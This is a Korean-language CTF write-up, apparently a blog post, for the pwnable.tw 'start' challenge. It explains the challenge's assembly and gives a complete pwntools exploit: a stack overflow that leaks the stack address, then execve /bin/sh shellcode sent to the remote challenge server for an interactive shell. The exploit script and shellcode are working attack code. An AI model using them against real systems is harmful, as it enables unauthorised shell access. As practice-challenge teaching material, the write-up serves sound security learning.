Start
Source
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch ; Let's start the CTF:
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch ; '<'
mov al, 3
int 80h ; LINUX - sys_read
add esp, 14h
retn
문제의 어셈 코드는 a,b,c,d 레지스터를 xor로 초기화하고 스택에 문자열을 5번 푸시한다.
그리고 esp를 ecx에 옮기고 esp는 변동 없이 sys_write, sys_read 함수를 실행한다.
또 하나 read함수의 길이는 0x3C(60)이다.
다행히 헷갈리지 않게 read함수 실행 후 0x14(20) 만큼 스택을 줄여준다.
Purpose
해당 쉘코드의 흐름에서 sys_write sys_read를 이용해 $ip의 흐름을 핸들링해 쉘을 얻으면 되는 문제이다.
HOW?
ret가 있고 read 함수로 데이터를 읽을 수 있으니 쉘코드를 읽어 ret에서 jmp 시킬 수 있다.
그런데 어디다?
그것을 위해 sys_write로 해야하는데 좋은점이 ESP가 변하지 않는다. 마지막에 0x14(20)만큼 딱 사용한 만큼 줄어들기 때문에 스택의 주소가 된다.그럼 바로 ret에서 mov ecx, esp
로 jmp 시키면
sys_write(1, esp, 0x14)
가 된다. 스택의 주소이다. 그래서 그냥 EIP의 주소를 20바이트 뒤로 밀어버렸다.
Solve
from pwn import *
p = remote("chall.pwnable.tw", 10000)
#p = process("./start")
#context.log_level = "DEBUG"
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p, "b*0x8048087")
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print p.recvuntil("Let's start the CTF:")
payload = ""
payload += "A"*20
payload += p32(0x8048087)
p.send(payload)
leak = u32(p.recv(4))
print "leak : ", hex(leak)
print p.recv()
payload2 = ""
payload2 += "\x90"*0x14
payload2 += p32(leak+0x14)
payload2 += shellcode
p.send(payload2)
p.interactive()
Uploaded by Notion2Tistory v1.1.0